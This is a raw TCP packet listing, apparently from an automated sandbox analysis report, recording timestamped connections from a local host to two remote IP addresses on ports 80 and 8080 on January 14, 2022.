Jan 14, 2022 09:25:08.340828896 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340868950 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340908051 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340923071 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340946913 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.340966940 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.340986013 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341026068 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341068029 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341072083 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341106892 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341152906 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341157913 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341193914 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341232061 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341238976 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341272116 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341310978 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341325045 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341350079 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341373920 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341392040 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341430902 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341470003 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341484070 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341509104 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341516972 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341547012 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341587067 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341600895 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341625929 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341665983 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341676950 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341706991 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341746092 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341763020 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341784954 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341824055 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.341835976 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.341887951 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.342080116 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.359297037 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359354019 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359396935 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359436989 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359443903 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.359586000 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.359596968 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359642982 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359680891 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359720945 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359766960 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.359791040 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359832048 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359867096 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.359904051 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.359951973 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360027075 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360066891 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360086918 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360109091 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360152960 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360166073 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360194921 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360234976 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360238075 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360279083 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360310078 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360318899 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360361099 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360378981 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360399008 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360441923 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360472918 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360502958 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360532045 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360563993 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360589981 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360594988 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360627890 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360635042 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360651016 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360677004 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360718966 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360739946 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360759020 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360800028 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360838890 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360877991 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360888004 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360915899 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360955954 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.360990047 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.360996962 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.361031055 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.361088037 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.379843950 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.379921913 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.379976988 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.379977942 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380028009 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380038023 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380070925 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380110979 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380151987 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380171061 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380192995 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380208969 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380245924 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380291939 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380328894 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380361080 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380392075 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380426884 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380431890 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380450010 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380470037 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380511999 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380531073 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380553961 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380592108 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380630970 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380646944 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380671978 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380709887 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380729914 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380749941 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380757093 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380789995 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380831003 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380872965 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380909920 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380917072 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380932093 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.380950928 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.380989075 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381027937 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381053925 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381071091 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381109953 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381138086 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381150961 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381151915 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381191969 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381230116 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381244898 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381269932 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381309986 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381347895 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381366014 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381387949 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381428003 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381443977 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381465912 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381498098 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381527901 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381568909 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381608963 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381648064 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381649017 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381681919 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381690025 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381705046 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.381727934 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381769896 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.381773949 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399117947 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399166107 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399179935 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399211884 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399251938 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399271011 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399319887 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399362087 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399379015 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399401903 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399441004 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399497986 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399507046 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399548054 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399590015 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399610043 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399631023 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399672031 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399692059 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399713039 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399728060 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399779081 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399817944 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399836063 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399857998 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399899006 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.399950981 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.399961948 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400003910 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400042057 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400058031 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400082111 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400122881 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400140047 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400162935 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400173903 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400204897 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400243998 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400259018 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400283098 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400321960 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400337934 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400384903 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400425911 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400444984 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400461912 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400504112 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:08.400564909 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.400610924 CET	49792	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:08.418853045 CET	80	49792	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.080528975 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.097970009 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.099832058 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.099982023 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.099991083 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.117335081 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.224298000 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.225368023 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.225572109 CET	49793	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.242757082 CET	80	49793	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.252432108 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.269783020 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.269923925 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.270030022 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.270046949 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.287322998 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.394946098 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.395019054 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.395215034 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.412368059 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.421786070 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.439202070 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.441531897 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.441612959 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.441625118 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.459050894 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.560195923 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.560244083 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.560334921 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.560364962 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.577712059 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.589315891 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.606909037 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.607028961 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.607170105 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.607193947 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.624440908 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.624470949 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.734559059 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.734759092 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.870377064 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:10.887938976 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:10.971321106 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.032474041 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.033910036 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.034038067 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.095192909 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104640961 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104687929 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104726076 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104768038 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104798079 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.104809046 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104825020 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.104849100 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104888916 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104890108 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.104928970 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104969025 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.104980946 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.105010986 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.105217934 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.166210890 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166289091 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166352034 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166414022 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166415930 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.166477919 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166527987 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.166538954 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166601896 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166657925 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.166661024 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166723013 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166774035 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.166785002 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166845083 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166893959 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.166908026 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.166969061 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167021036 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.167031050 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167093992 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167145967 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.167150021 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167210102 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167258978 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.167265892 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167320013 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167392015 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.167397022 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.167515039 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.228559971 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228637934 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228689909 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228727102 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.228729963 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228785992 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228838921 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228840113 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.228899956 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.228959084 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.228991985 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229067087 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229120016 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229123116 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229177952 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229227066 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229233027 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229285002 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229330063 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229336023 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229378939 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229428053 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229434013 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229481936 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229521036 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229537010 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229558945 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229598045 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229609013 CET	49797	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 09:25:11.229650974 CET	8080	49797	185.7.214.171	192.168.2.4
Jan 14, 2022 09:25:11.229688883 CET	8080	49797	185.7.214.171	192.168.2.4
